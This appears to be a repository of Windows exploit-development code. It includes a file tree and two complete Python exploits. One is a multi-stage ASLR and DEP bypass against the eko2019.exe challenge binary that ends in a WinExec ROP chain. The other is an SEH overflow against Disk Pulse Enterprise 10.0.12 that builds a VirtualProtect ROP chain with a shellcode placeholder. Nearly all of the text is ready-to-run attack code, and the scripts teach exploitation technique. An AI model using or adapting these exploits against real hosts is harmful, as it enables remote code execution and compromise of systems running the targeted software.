├── ASLR Bypass + ROP
    ├── Blue_Frost_Security_eko2019_ASLR_and_DEP_Bypass.py
    ├── DPE_ASLR_and_DEP_Bypass_VirtualProtect.py
    ├── DSE_ASLR_and_DEP_Bypass_VirtualProtect.py
    ├── EFSWS_ASLR_and_DEP_Bypass_VirtualProtect.py
    ├── EFSWS_ASLR_and_DEP_Bypass_WriteProcessMemory.py
    ├── README.md
    └── SBE_ASLR_and_DEP_Bypass.py
├── Browser
    ├── CVE-2019-0567.html
    ├── CVE-2019-0567.js
    └── MS13-055.html
├── Kernel
    ├── Arbitrary Memory Overwrites
    │   ├── README.md
    │   ├── x64_HEVD_Windows_10_SMEP_Bypass_Arbitrary_Overwrite.py
    │   ├── x64_HEVD_Windows_10_SMEP_Bypass_KUSER_SHARED_DATA_Arbitrary_Overwrite.py
    │   ├── x64_HEVD_Windows_10_SMEP_kCFG_Bypass_Arbitrary_Overwrite.py
    │   ├── x64_HEVD_Windows_8_No_SMEP_Arbitrary_Overwrite.py
    │   └── x86_HEVD_Windows_7_Arbitrary_Overwrite.py
    ├── README.md
    ├── SMEP Bypass
    │   ├── x64_HEVD_Windows_10_SMEP_Bypass_Arbitrary_Overwrite.py
    │   ├── x64_HEVD_Windows_10_SMEP_Bypass_KUSER_SHARED_DATA_Arbitrary_Overwrite.py
    │   └── x64_HEVD_Windows_10_SMEP_Bypass_Stack_Overflow.py
    ├── Stack Overflow
    │   ├── x64_HEVD_Windows_10_SMEP_Bypass_Stack_Overflow.py
    │   └── x86_HEVD_Windows_7_Stack_Overflow.py
    └── kCFG Bypass
    │   └── x64_HEVD_Windows_10_SMEP_kCFG_Bypass_Arbitrary_Overwrite.py
├── README.md
└── ROP
    ├── README.md
    └── VirtualProtect.py


/ASLR Bypass + ROP/Blue_Frost_Security_eko2019_ASLR_and_DEP_Bypass.py:
--------------------------------------------------------------------------------
  1 | # Blue Frost Security 'eko2019.exe' Memory Corruption (ASLR and DEP Bypass)
  2 | # Full ASLR bypass with information leak (no need for non-ASLR modules)
  3 | # Author: Connor McGarr
  4 | # In muts we trust.
  5 | # Tested on Windows 10 x64
  6 | import sys
  7 | import os
  8 | import socket
  9 | import struct
 10 | import time
 11 | 
 12 | # 1st check: First 0x10 (16 bytes) are interpreted as the "header"
 13 | # 2nd check: Header starts with 0x393130326f6b45 (Eko2019)
 14 | # 3rd check: Message must be < 0x201 (513) bytes
 15 | 
 16 | # Defining sleep shorthand
 17 | sleep = time.sleep
 18 | 
 19 | # Begin header
 20 | 
 21 | # Adding null terminator in front of Eko2019 string to let eok2019.exe know this is where our header starts
 22 | print "[+] Sending the header..."
 23 | exploit = "\x45\x6B\x6F\x32\x30\x31\x39\x00" + "\x90"*8
 24 | 
 25 | # Exploit begins here
 26 | 
 27 | # 560 bytes for total crash (16 for header, 544 for the exploit)
 28 | # 512 byte offset to the byte we control
 29 | exploit += "\x41" * 512
 30 | 
 31 | # This byte converts the instruction we land on after the WriteProcessMemory() call
 32 | # \x65 turns this instruction we land on to mov rax,qword ptr gs:[rcx] instead of DS segment register
 33 | # The GS segment register gives us access to the PEB at an offset of 0x60
 34 | exploit += "\x65"
 35 | 
 36 | # \x60 will be moved in gs:[rcx] (\x41's are padding)
 37 | exploit += "\x41\x41\x41\x41\x41\x41\x41\x60"
 38 | 
 39 | # Making sure only \x60 is in rcx
 40 | # Must be a multiple of 8- so null bytes to compensate for the other 7 bytes
 41 | exploit += "\x00\x00\x00\x00\x00\x00\x00"
 42 | 
 43 | # Message needs to be 528 bytes total
 44 | exploit += "\x41" * (544-len(exploit))
 45 | 
 46 | print "[+] Sending first stage request..."
 47 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 48 | s.connect(("172.16.55.132", 54321))
 49 | s.sendall(exploit)
 50 | 
 51 | # Call to eko+0x1000 function (where WriteProcessMemory writes out 1 byte user controlled buffer) returns the value into RAX
 52 | # After value is in rax- the server responds with this result (RAX). Here, we are receiving that response and parsing it to find PEB
 53 | receive = s.recv(1024)
 54 | 
 55 | # Unpacking the response
 56 | print "[+] Extracting the PEB of eko2019.exe..."
 57 | unpack = struct.unpack_from('<Q', receive)
 58 | 
 59 | # Indexing the response (only 1 entry, which is the PEB returned in RAX after call to eko2019+0x100)
 60 | peb_addr = unpack[0]
 61 | 
 62 | # Print update for PEB location
 63 | print "[+] PEB is located at: {0}".format(hex(peb_addr))
 64 | 
 65 | # Closing the first stage request connection
 66 | s.close()
 67 | 
 68 | # Current image (eko2019.exe) base is located at PEB + 0x10
 69 | image_base = peb_addr + 0x10
 70 | print "[+] Image Base Address for eko2019.exe is located at: {0}".format(hex(image_base))
 71 | 
 72 | # Allocate some buffer time between first and second request
 73 | sleep(2)
 74 | 
 75 | # Second stage- extract the pointer to Image Base Address (which is the base virtual address for eko2019.exe)
 76 | 
 77 | # Predefining the Image Base Address in the form of an unsigned long long
 78 | real_image_base = struct.pack('<Q', image_base)
 79 | 
 80 | # We need to resend the header and setup the second request structure similar to the first.
 81 | print "[+] Resending the header for the second stage request..."
 82 | exploit_2 = "\x45\x6B\x6F\x32\x30\x31\x39\x00" + "\x90"*8
 83 | 
 84 | # 512 byte offset to the byte we control
 85 | exploit_2 += "\x41" * 512
 86 | 
 87 | # A NOP will let our instruction slide into a mov rax, qword ptr ds:[rcx] instruction
 88 | exploit_2 += "\x90"
 89 | 
 90 | # Padding to loading our value into rcx
 91 | exploit_2 += "\x41\x41\x41\x41\x41\x41\x41"
 92 | 
 93 | # Filling RCX with our Image Base Address for eko2019.exe
 94 | # This mov rax, qword ptr ds:[rcx] operation will extract the pointer and return the actual virtual address base of eko2019.exe
 95 | exploit_2 += real_image_base
 96 | 
 97 | # Need 528 total bytes
 98 | exploit_2 += "\x41" * (544-len(exploit_2))
 99 | 
100 | print "[+] Sending second stage request..."
101 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
102 | s.connect(("172.16.55.132", 54321))
103 | s.sendall(exploit_2)
104 | 
105 | # Reading in rax in the response
106 | receive_2 = s.recv(1024)
107 | 
108 | # Unpacking the response
109 | print "[+] Extracting the base address of eok2019.exe..."
110 | unpack_2 = struct.unpack_from('<Q', receive_2)
111 | 
112 | # Indexing the response
113 | base_address = unpack_2[0]
114 | 
115 | # Print update the virtual address base of eko2019.exe
116 | print "[+] Base virtual address of eko2019.exe is located at: {0}".format(hex(base_address))
117 | 
118 | # Closing the second stage request
119 | s.close()
120 | 
121 | # Allocate some buffer time between second and third request
122 | sleep(2)
123 | 
124 | # Third request - extract pointer to kernel32!WinExec in eko2019.exe 
125 | # Predefining the pointer to kernel32!WinExec in the form of an unsigned long long
126 | kernel32_winexec_temp = struct.pack('<Q', base_address+0x9010)
127 | 
128 | # We need to resend the header and setup the third request structure similar to the previous requests.
129 | print "[+] Resending the header for the third stage request..."
130 | exploit_3 = "\x45\x6B\x6F\x32\x30\x31\x39\x00" + "\x90"*8
131 | 
132 | # 512 byte offset to the byte we control
133 | exploit_3 += "\x41" * 512
134 | 
135 | # A NOP will let our instruction slide into a mov rax, qword ptr ds:[rcx] instruction
136 | exploit_3 += "\x90"
137 | 
138 | # Padding to loading our value into rcx
139 | exploit_3 += "\x41\x41\x41\x41\x41\x41\x41"
140 | 
141 | # This mov rax, qword ptr ds:[rcx] operation will extract the pointer and return the actual virtual address for kernel32!WinExec
142 | exploit_3 += kernel32_winexec_temp
143 | 
144 | # Need 528 total bytes
145 | exploit_2 += "\x41" * (544-len(exploit_2))
146 | 
147 | print "[+] Sending third stage request..."
148 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
149 | s.connect(("172.16.55.132", 54321))
150 | s.sendall(exploit_3)
151 | 
152 | # Reading in rax in the response
153 | receive_3 = s.recv(1024)
154 | 
155 | # Unpacking the response
156 | print "[+] Extracting pointer to kernel32!WinExec..."
157 | unpack_3 = struct.unpack_from('<Q', receive_3)
158 | 
159 | # Indexing the response
160 | kernel32_winexec = unpack_3[0]
161 | 
162 | # Print update the virtual address base of eko2019.exe
163 | print "[+] kernel32!WinExec is located at: {0}".format(hex(kernel32_winexec))
164 | 
165 | # Storing kernel32.dll base virtual address inside variable to use for future ROP gadget(s)
166 | kernel32_base = kernel32_winexec-0x5e390
167 | print "[+] kernel32.dll base virtual address is located at: {0}".format(hex(kernel32_base))
168 | 
169 | # Closing the third stage request
170 | s.close()
171 | 
172 | # Allocate some buffer time between third and forth request
173 | sleep(2)
174 | 
175 | # Fourth stage- stack pivot back to the stack to start executing ROP gadgets to spawn calc.exe
176 | 
177 | # Predefining ROP gadget to stack pivot
178 | stack_pivot = struct.pack('<Q', base_address+0x158b)
179 | 
180 | # We need to resend the header and setup the fourth request structure similar to the previous requests.
181 | print "[+] Resending the header for the fourth stage request..."
182 | exploit_4 = "\x45\x6B\x6F\x32\x30\x31\x39\x00" + "\x90"*8
183 | 
184 | # 16 byte offset to ROP gadgets after stack pivot
185 | exploit_4 += "\x90" * 16
186 | 
187 | # Begin ROP chain
188 | print "[+] Setting up our ROP chain. Wish us luck..."
189 | 
190 | # x64 uses __fastcall convention
191 | 
192 | # Return to the stack (ROP NOP)
193 | exploit_4 += struct.pack('<Q', base_address+0x10a1)			# ret: eko2019.exe
194 | 
195 | # UINT WinExec( -> rax
196 | # LPCSTR lpCmdLine, -> rcx
197 | # UINT   uCmdShow - > rdx
198 | # );
199 | 
200 | # Placing first parameter into rcx (a pointer to a "calc\x00" string)
201 | 
202 | # The next gadget is a COP gadget that does not return, but calls r12
203 | # Placing an add rsp, 0x10 gadget to act as a "return" to the stack into r12
204 | exploit_4 += struct.pack('<Q', base_address+0x4a8e)			# pop r12 ; ret: eko2019.exe
205 | exploit_4 += struct.pack('<Q', base_address+0x8789)			# add rsp, 0x10 ; ret: eko2019.exe 
206 | 
207 | # Grabbing a blank address in eko2019.exe to write our calc string to and create a pointer (COP gadget)
208 | # The blank address should come from the .data section, as IDA has shown this the only segment of the executable that is writeable
209 | exploit_4 += struct.pack('<Q', base_address+0x1167)			# pop rax ; ret: eko2019.exe
210 | exploit_4 += struct.pack('<Q', base_address+0xc288)			# First empty address in eko2019.exe .data section
211 | exploit_4 += struct.pack('<Q', base_address+0x6375)			# mov rcx, rax ; call r12: eko2019.exe
212 | exploit_4 += struct.pack('<Q', 0x4141414141414141)			# Padding from add rsp, 0x10
213 | 
214 | # Creating a pointer to calc string
215 | exploit_4 += struct.pack('<Q', base_address+0x1167)			# pop rax ; ret: eko2019.exe
216 | exploit_4 += "calc\x00\x00\x00\x00"					# calc (with null terminator)
217 | exploit_4 += struct.pack('<Q', kernel32_base+0x6130f)		        # mov qword [rcx], rax ; mov eax, 0x00000001 ; add rsp, 0x0000000000000080 ; pop rbx ; ret: kernel32.dll
218 | 
219 | # Padding for add rsp, 0x0000000000000080 and pop rbx
220 | exploit_4 += "\x41" * 0x88
221 | 
222 | # Placing second parameter into rdx
223 | exploit_4 += struct.pack('<Q', kernel32_base+0x19daa)		        # pop rdx ; add eax, 0x15FF0006 ; ret: kernel32.dll
224 | exploit_4 += struct.pack('<Q', 0x01)				        # SH_SHOWNORMAL
225 | 
226 | # Calling kernel32!WinExec
227 | exploit_4 += struct.pack('<Q', base_address+0x10a1)			# ret: eko2019.exe (ROP NOP)
228 | exploit_4 += struct.pack('<Q', kernel32_winexec)			# Address of kernel32!WinExec
229 | 
230 | # 512 byte offset to the byte we control
231 | 
232 | # After WinExec call execution returns here
233 | # Aligning the stack to return to a valid address with a ROP gadget
234 | # Need to increase rsp by 0x110 bytes
235 | exploit_4 += struct.pack('<Q', base_address+0x89b6)			# add rsp, 0x48 ; ret: eko2019.exe
236 | exploit_4 += "\x41" * 0x48 						# Padding to reach next ROP gadget
237 | exploit_4 += struct.pack('<Q', base_address+0x89b6)			# add rsp, 0x48 ; ret: eko2019.exe
238 | exploit_4 += "\x41" * 0x48 						# Padding to reach next ROP gadget
239 | exploit_4 += struct.pack('<Q', base_address+0x89b6)			# add rsp, 0x48 ; ret: eko2019.exe
240 | exploit_4 += "\x41" * 0x48 						# Padding to reach next ROP gadget
241 | exploit_4 += struct.pack('<Q', base_address+0x2e71)			# add rsp, 0x38 ; ret: eko2019.exe
242 | 
243 | # Compensating for ROP gadget usage
244 | exploit_4 += "\x41" * (512-16-8-8-8-8-8-8-8-8-8-8-0x88-8-8-8-8-8-0x48-8-0x48-8-0x48-8)
245 | 
246 | # We control rcx. Since we control rcx, why don't we load rcx with a ROP gadget to return to the stack, push it onto the stack (load it in rsp)?
247 | # To our advantage, each mov rax, dword ptr [rcx] instruction exits through a "ret"! This means, we can return into our ROP gadget.
248 | # \x51 = push rcx
249 | exploit_4 += "\x51"
250 | 
251 | # Padding to loading our value into rcx
252 | exploit_4 += "\x41\x41\x41\x41\x41\x41\x41"
253 | 
254 | # Loading our ROP gadget of add rsp, 0x78 ; ret (located at eko2019+0x158b) into RCX
255 | exploit_4 += stack_pivot
256 | 
257 | # Need 528 total bytes
258 | exploit_4 += "\x41" * (544-len(exploit_4))
259 | 
260 | print "[+] Sending fourth stage request..."
261 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
262 | s.connect(("172.16.55.132", 54321))
263 | s.sendall(exploit_4)
264 | 
265 | # Reading in the response
266 | receive_4 = s.recv(1024)
267 | 
268 | # Closing the connection
269 | s.close()
270 | 
271 | # Print update
272 | print "[+] Check for RCE!"
273 | 


--------------------------------------------------------------------------------
/ASLR Bypass + ROP/DPE_ASLR_and_DEP_Bypass_VirtualProtect.py:
--------------------------------------------------------------------------------
  1 | # Disk Pulse Enterprise 10.0.12 (SEH, ASLR, and DEP Bypass)
  2 | # kernel32!VirtualProtect
  3 | # Author: Connor McGarr (@330yre)
  4 | # In muts we trust.
  5 | import sys
  6 | import os
  7 | import socket
  8 | import struct
  9 | import time
 10 | 
 11 | # Place shellcode here
 12 | shellcode = "\xCC" * 400
 13 | 
 14 | # Offset to SEH
 15 | crash = "\x41" * 2499
 16 | 
 17 | # SEH overwrite - stack pivot back into long buffer
 18 | crash += struct.pack('<L', 0x1005d86b)			# add esp, 0x1004 ; ret: libspp.dll (non-ASLR enabled module)
 19 | 
 20 | # Padding to stack pivot
 21 | crash += "\x43" * 192
 22 | 
 23 | # Stack pivot lands here abnd ROP chain begins here
 24 | print "[+] Beginning ROP chain..."
 25 | 
 26 | # Preserve a stack address into EAX and ECX. To get EAX into ECX, need to load a pointer to a ROP gadget into EDX for COP gadget mov ecx, eax ; call dword ptr [edx]
 27 | crash += struct.pack('<L', 0x1014368e)			# xchg eax, ebp ; ret: libspp.dll (non-ASLR enabled module)
 28 | crash += struct.pack('<L', 0x1012be4f)			# pop esi ; ret: libspp.dll (non-ASLR enabled module)
 29 | crash += struct.pack('<L', 0x10116052)			# add esp, 0x4 ; ret: libspp.dll (non-ASLR enabled module) (Return to stack gadget to be arbitrarily written to a pointer in the .data seciton of libspp.dll)
 30 | crash += struct.pack('<L', 0x10159ef7)			# pop ebx ; ret: libspp.dll (non-ASLR enabled module)
 31 | crash += struct.pack('<L', 0x101dc038)			# Random address from the .data section of libspp.dll (writable)
 32 | crash += struct.pack('<L', 0x1013a06c)			# xor edx, edx ; ret: libspp.dll (non-ASLR enabled module)
 33 | crash += struct.pack('<L', 0x1015675e)			# add edx, ebx ; pop ebx ; retn 0x10: libspp.dll (non-ASLR enabled module)
 34 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
 35 | crash += struct.pack('<L', 0x1013f526)			# mov dword [edx], esi ; pop esi ; pop ebp ; pop ebx ; ret: libspp.dll (non-ASLR enabled module)
 36 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0x10)
 37 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0x10)
 38 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0x10)
 39 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0x10)
 40 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
 41 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
 42 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
 43 | crash += struct.pack('<L', 0x10033cd4)			# mov ecx, eax ; call dword ptr [edx]: libspp.dll (non-ASLR enabled module)
 44 | 
 45 | # EAX and ECX are currently 0x102c bytes away from ESP
 46 | # ESP, after all necessary ROP gadgets, will be 0x1048 bytes away from EAX
 47 | # Making EAX and ECX equal to the location of the stack
 48 | # Utilizing the previous COP gadget's return to the stack
 49 | crash += struct.pack('<L', 0x10153e8a)			# pop ebp ; ret: libspp.dll (non-ASLR enabled module)
 50 | crash += struct.pack('<L', 0xffffefb8)			# Negative representation of 0x1048
 51 | crash += struct.pack('<L', 0x1014b588)			# sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret: libspp.dll (non-ASLR enabled module)
 52 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
 53 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
 54 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
 55 | crash += struct.pack('<L', 0x1008add9)			# mov ecx, eax ; call dword ptr [edx]: libspp.dll (non-ASLR enabled module)
 56 | 
 57 | # Jump over kernel32!VirtualProtect parameter placeholders
 58 | crash += struct.pack('<L', 0x10137191)			# add esp, 0x18 ; ret: libspp.dll (non-ASLR enabled module)
 59 | 
 60 | # kernel32!VirtualProtect parameter placeholders
 61 | crash += struct.pack('<L', 0x10167074)			# Pointer from IAT to kernel32!GetDriveTypeA (negative 0xffff6185 bytes ahead of kernel32!VirtualProtect)
 62 | crash += struct.pack('<L', 0x11111111)			# Return parameter placeholder (shellcode)
 63 | crash += struct.pack('<L', 0x22222222)			# lpAddress (shellcode)
 64 | crash += struct.pack('<L', 0x33333333)			# dwSize
 65 | crash += struct.pack('<L', 0x44444444)			# flNewProtect (RWX = 0x40)
 66 | crash += struct.pack('<L', 0x55555555)			# lpflOldProtect
 67 | 
 68 | # Return
 69 | crash += struct.pack('<L', 0x10153e8a)			# pop ebp ; ret: libspp.dll (non-ASLR enabled module)
 70 | crash += struct.pack('<L', 0xfffffe10)			# Negative distance from EAX to shellcode
 71 | crash += struct.pack('<L', 0x1014b588)			# sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret: libspp.dll (non-ASLR enabled module)
 72 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
 73 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
 74 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
 75 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 76 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 77 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 78 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 79 | crash += struct.pack('<L', 0x10113db1)			# mov dword ptr [ecx], eax ; retn 0xC: libspp.dll (non-ASLR enabled module)
 80 | 
 81 | # lpAddress
 82 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 83 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
 84 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
 85 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
 86 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 87 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 88 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 89 | crash += struct.pack('<L', 0x10113db1)			# mov dword ptr [ecx], eax ; retn 0xC: libspp.dll (non-ASLR enabled module)
 90 | 
 91 | # dwSize
 92 | crash += struct.pack('<L', 0x10128c12)			# xor eax, eax ; ret: libspp.dll (non-ASLR enabled module)
 93 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
 94 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
 95 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
 96 | crash += struct.pack('<L', 0x10153e8a)			# pop ebp ; ret: libspp.dll (non-ASLR enabled module)
 97 | crash += struct.pack('<L', 0xfffffdff)			# Negative 0x201
 98 | crash += struct.pack('<L', 0x1014b588)			# sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret: libspp.dll (non-ASLR enabled module)
 99 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
100 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
101 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
102 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
103 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
104 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
105 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
106 | crash += struct.pack('<L', 0x10113db1)			# mov dword ptr [ecx], eax ; retn 0xC: libspp.dll (non-ASLR enabled module)
107 | 
108 | # flNewProtect
109 | crash += struct.pack('<L', 0x10128c12)			# xor eax, eax ; ret: libspp.dll (non-ASLR enabled module)
110 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
111 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
112 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
113 | crash += struct.pack('<L', 0x10153e8a)			# pop ebp ; ret: libspp.dll (non-ASLR enabled module)
114 | crash += struct.pack('<L', 0xffffffc0)			# Negative 0x40 (PAGE_EXECUTE_READWRITE)
115 | crash += struct.pack('<L', 0x1014b588)			# sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret: libspp.dll (non-ASLR enabled module)
116 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
117 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
118 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
119 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
120 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
121 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
122 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
123 | crash += struct.pack('<L', 0x10113db1)			# mov dword ptr [ecx], eax ; retn 0xC: libspp.dll (non-ASLR enabled module)
124 | 
125 | # lpflOldProtect
126 | crash += struct.pack('<L', 0x1012a823)			# pop eax ; ret: libspp.dll (non-ASLR enabled module)
127 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
128 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
129 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
130 | crash += struct.pack('<L', 0x101dc038)			# Random address from the .data section of libspp.dll (writable)
131 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
132 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
133 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
134 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
135 | crash += struct.pack('<L', 0x10113db1)			# mov dword ptr [ecx], eax ; retn 0xC: libspp.dll (non-ASLR enabled module)
136 | 
137 | # kernel32!VirtualProtect
138 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
139 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
140 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
141 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
142 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
143 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
144 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
145 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
146 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
147 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
148 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
149 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
150 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
151 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
152 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
153 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
154 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
155 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
156 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
157 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
158 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
159 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
160 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
161 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
162 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
163 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
164 | crash += struct.pack('<L', 0x100fc113)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
165 | crash += struct.pack('<L', 0x10135f9b)			# mov eax, dword ptr [ecx+0x4] ; ret: libspp.dll (non-ASLR enabled module)
166 | crash += struct.pack('<L', 0x1014d06c)			# mov eax, dword ptr [eax] ; ret: libspp.dll (non-ASLR enabled module)
167 | crash += struct.pack('<L', 0x10153e8a)			# pop ebp ; ret: libspp.dll (non-ASLR enabled module)
168 | crash += struct.pack('<L', 0xffff6185)			# Negative distance to kernel32!VirtualProtect
169 | crash += struct.pack('<L', 0x1014b588)			# sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret: libspp.dll (non-ASLR enabled module)
170 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
171 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
172 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget
173 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
174 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
175 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
176 | crash += struct.pack('<L', 0x100e1531)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
177 | crash += struct.pack('<L', 0x10113db1)			# mov dword ptr [ecx], eax ; retn 0xC: libspp.dll (non-ASLR enabled module)
178 | 
179 | # Kick off the function call
180 | crash += struct.pack('<L', 0x1014bdc1)			# mov eax, ecx ; ret: libspp.dll (non-ASLR enabled module)
181 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
182 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
183 | crash += struct.pack('<L', 0x90909090)			# Padding to compensate for the previous ROP gadget (ret 0xC)
184 | crash += struct.pack('<L', 0x101388b9)			# xchg eax, esp ; ret: libspp.dll (non-ASLR enabled module)
185 | 
186 | # NOPs
187 | crash += "\x90" * (100)
188 | 
189 | # Shellcode placeholder
190 | crash += shellcode
191 | 
192 | # Crash the application to corrupt memory
193 | crash += "\x90" * (5000-len(crash))
194 | 
195 | ## Vulnerability resides in the Host header
